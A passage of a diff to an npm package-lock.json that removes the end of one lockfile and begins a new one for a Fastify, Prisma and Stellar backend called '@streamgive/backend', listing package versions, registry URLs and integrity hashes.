"https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.69.0.tgz", - "integrity": "sha512-B3MltX0VqjUBNEe3b3sSuiRbfa6XrfHFtBiPamjT5AsW/dfq+y+bc0wyuS9DxAS1LyzCxRp2+rxzpLUvqM2BvA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/eslint-plugin": "8.69.0", - "@typescript-eslint/parser": "8.69.0", - "@typescript-eslint/typescript-estree": "8.69.0", - "@typescript-eslint/utils": "8.69.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/uint8array-extras": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", - "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/undici-types": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-8.3.0.tgz", - "integrity": "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ==", - "license": "MIT" - }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/valibot": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/valibot/-/valibot-1.4.2.tgz", - "integrity": "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "typescript": ">=5" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/vite": { - "version": "8.2.2", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.2.2.tgz", - "integrity": "sha512-cFKLV/PRgAUlIRm5WjMjJ86jrftzpqcgH+Us+DS8mI3CDNiH30Whrz8uHL3+MOLPAgqbMBAqWdAHAphOAM+z/Q==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "lightningcss": "^1.33.0", - "picomatch": "^4.0.5", - "postcss": "^8.5.26", - "rolldown": "~1.2.4", - "tinyglobby": "^0.2.17" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "@vitejs/devtools": "^0.4.0 || ^0.5.0", - "esbuild": "^0.27.0 || ^0.28.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "@vitejs/devtools": { - "optional": true - }, - "esbuild": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vitest": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-5.0.0.tgz", - "integrity": "sha512-gpsMNoRhMjMktVxPtstOH4/PJuPyovVaMDr4oDilXaGH1EcqM2OE96SoHT2VIQ6fTGtTjqmHDrEu2X9RQiXf8Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/chai": "^5.2.2", - "@vitest/mocker": "5.0.0", - "chai": "^6.2.2", - "es-module-lexer": "^2.3.2", - "expect-type": "^1.4.0", - "magic-string": "^1.2.3", - "obug": "^2.1.4", - "picomatch": "^4.0.7", - "std-env": "^4.2.0", - "tinybench": "6.1.4", - "tinyexec": "1.3.0", - "tinyglobby": "^0.2.17", - "why-is-node-running": "^2.3.0" - }, - "bin": { - "vitest": "vitest.mjs" - }, - "engines": { - "node": "^22.12.0 || ^24.0.0 || >=26.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@edge-runtime/vm": "*", - "@opentelemetry/api": "^1.9.0", - "@types/node": "^22.0.0 || >=24.0.0", - "@vitest/browser-playwright": "5.0.0", - "@vitest/browser-preview": "5.0.0", - "@vitest/browser-webdriverio": "^5.0.0-beta.5 || >=5.0.0", - "@vitest/coverage-istanbul": "5.0.0", - "@vitest/coverage-v8": "5.0.0", - "@vitest/ui": "5.0.0", - "happy-dom": "*", - "jsdom": "*", - "vite": "^6.4.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "@edge-runtime/vm": { - "optional": true - }, - "@opentelemetry/api": { - "optional": true - }, - "@types/node": { - "optional": true - }, - "@vitest/browser-playwright": { - "optional": true - }, - "@vitest/browser-preview": { - "optional": true - }, - "@vitest/browser-webdriverio": { - "optional": true - }, - "@vitest/coverage-istanbul": { - "optional": true - }, - "@vitest/coverage-v8": { - "optional": true - }, - "@vitest/ui": { - "optional": true - }, - "happy-dom": { - "optional": true - }, - "jsdom": { - "optional": true - }, - "vite": { - "optional": false - } - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/why-is-node-running": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "siginfo": "^2.0.0", - "stackback": "0.0.2" - }, - "bin": { - "why-is-node-running": "cli.js" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/word-wrap": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/xtend": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", - "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", - "license": "MIT", - "engines": { - "node": ">=0.4" - } - }, - "node_modules/yaml": { - "version": "2.9.1", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.1.tgz", - "integrity": "sha512-3NxN8+78OdzbT7C/WjGsyfPAtJaN3FNDsWxv7Y7mcDsT/oOmgW8BpyQQFFBnvZE3j9Y2Sdz1ULFLezL7Eb2yFw==", - "license": "ISC", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14.6" - }, - "funding": { - "url": "https://github.com/sponsors/eemeli" - } - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zeptomatch": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/zeptomatch/-/zeptomatch-2.1.0.tgz", - "integrity": "sha512-KiGErG2J0G82LSpniV0CtIzjlJ10E04j02VOudJsPyPwNZgGnRKQy7I1R7GMyg/QswnE4l7ohSGrQbQbjXPPDA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "grammex": "^3.1.11", - "graphmatch": "^1.1.0" - } - }, - "node_modules/zod": { - "version": "4.5.4", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.5.4.tgz", - "integrity": "sha512-sC95tT5iHHH9gtpj6A81kh+NEaRAUFN+qlUPDUbRfOMvNf5QCBqsb3WgvnpVtK5Y+4UfA6KqufotuTvMGiTlsA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - } - } -} +{ + "name": "@streamgive/backend", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "@streamgive/backend", + "version": "0.1.0", + "hasInstallScript": true, + "dependencies": { + "@fastify/compress": "^9.2.0", + "@fastify/cors": "^11.3.0", + "@fastify/helmet": "^12.0.0", + "@fastify/rate-limit": "^11.2.0", + "@fastify/swagger": "^9.9.0", + "@fastify/swagger-ui": "^6.1.1", + "@prisma/adapter-pg": "^7.10.0", + "@prisma/client": "^7.10.0", + "@stellar/stellar-sdk": "^17.0.1", + "dotenv": "^17.4.2", + "fastify": "^5.12.3", + "pg": "^8.23.0", + "zod": "^4.5.4" + }, + "devDependencies": { + "@eslint/js": "^10.0.1", + "@types/node": "^26.4.1", + "@types/pg": "^8.23.1", + "dotenv-cli": "^11.0.0", + "eslint": "^10.10.0", + "eslint-config-prettier": "^10.1.8", + "pino-pretty": "^13.1.3", + "prettier": "^3.9.6", + "prisma": "^7.10.0", + "tsx": "^4.23.13", + "typescript": "^5.9.3", + "typescript-eslint": "^8.69.0", + "vitest": "^5.0.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@cacheable/memory": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@cacheable/memory/-/memory-2.2.0.tgz", + "integrity": "sha512-CTLKqLItRCEixEAewD3/j9DB3/o96gpTPD4eJ1v+DGOlxZRZncRQkGYqqnAGCscYd6RNeXfGeiuCphsPtqyIfQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/utils": "^2.5.0", + "@keyv/bigmap": "^1.3.1", + "hookified": "^1.15.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@cacheable/utils/-/utils-2.5.0.tgz", + "integrity": "sha512-buipgOVDkkPXNR5+xBpDw7Zk2n1EvU7qBJCNUcL7rhQ//kfpOXPAvQ511Os0vpLYJ1pZnvudNytkQt2hst3wqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hashery": "^1.5.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@electric-sql/pglite": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite/-/pglite-0.4.3.tgz", + "integrity": "sha512-ichuWTgtd4mOM1G4SpyGJa5trT03lWbMypDV0fUXUCXg5hiHqVAz/bZyV68NqmkLB7WcYmj1RMJVSp8HV/v/ZQ==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@electric-sql/pglite-socket": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite-socket/-/pglite-socket-0.1.3.tgz", + "integrity": "sha512-LAciWM0M1dCL8hlsxu2venbVZcdxema0BtDfpWYVqr+Y468UADw0pFWidhKw1M8sfJ8rdLT71tjMmnirf/IZRQ==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "pglite-server": "dist/scripts/server.js" + }, + "peerDependencies": { + "@electric-sql/pglite": "0.4.3" + } + }, + "node_modules/@electric-sql/pglite-tools": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite-tools/-/pglite-tools-0.3.3.tgz", + "integrity": "sha512-AlzLJTRJ8+UFgK8CmxIpyIpJ0+YaFw02IiOSdYrqxwPXdSyeIShz8aa9Tq+tYFXdPwcaMp/Fc80mQZ1dkOQ/wg==", + "devOptional": true, + "license": "Apache-2.0", + "peerDependencies": { + "@electric-sql/pglite": "0.4.3" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.2.tgz", + "integrity": "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.2.tgz", + "integrity": "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.2.tgz", + "integrity": "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.2.tgz", + "integrity": "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.2.tgz", + "integrity": "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.2.tgz", + "integrity": "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.2.tgz", + "integrity": "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.2.tgz", + "integrity": "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.2.tgz", + "integrity": "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.2.tgz", + "integrity": "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.2.tgz", + "integrity": "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.2.tgz", + "integrity": "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.2.tgz", + "integrity": "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.2.tgz", + "integrity": "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.2.tgz", + "integrity": "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.2.tgz", + "integrity": "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.2.tgz", + "integrity": "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.2.tgz", + "integrity": "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.2.tgz", + "integrity": "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.2.tgz", + "integrity": "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.2.tgz", + "integrity": "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.2.tgz", + "integrity": "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.2.tgz", + "integrity": "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.2.tgz", + "integrity": "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.2.tgz", + "integrity": "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.2.tgz", + "integrity": "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.10.1.tgz", + "integrity": "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.23.5", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.23.5.tgz", + "integrity": "sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^3.0.5", + "debug": "^4.3.1", + "minimatch": "^10.2.4" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.7.0.tgz", + "integrity": "sha512-DObd/KKUsU+FaFv4PLxSRenpXfQWmPXXP3pPZ6/K1PCrMu2vQpMDMuQe/BqYeoLcz8ro0bVDF1RxOJgfVEdhUw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/core": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-1.2.1.tgz", + "integrity": 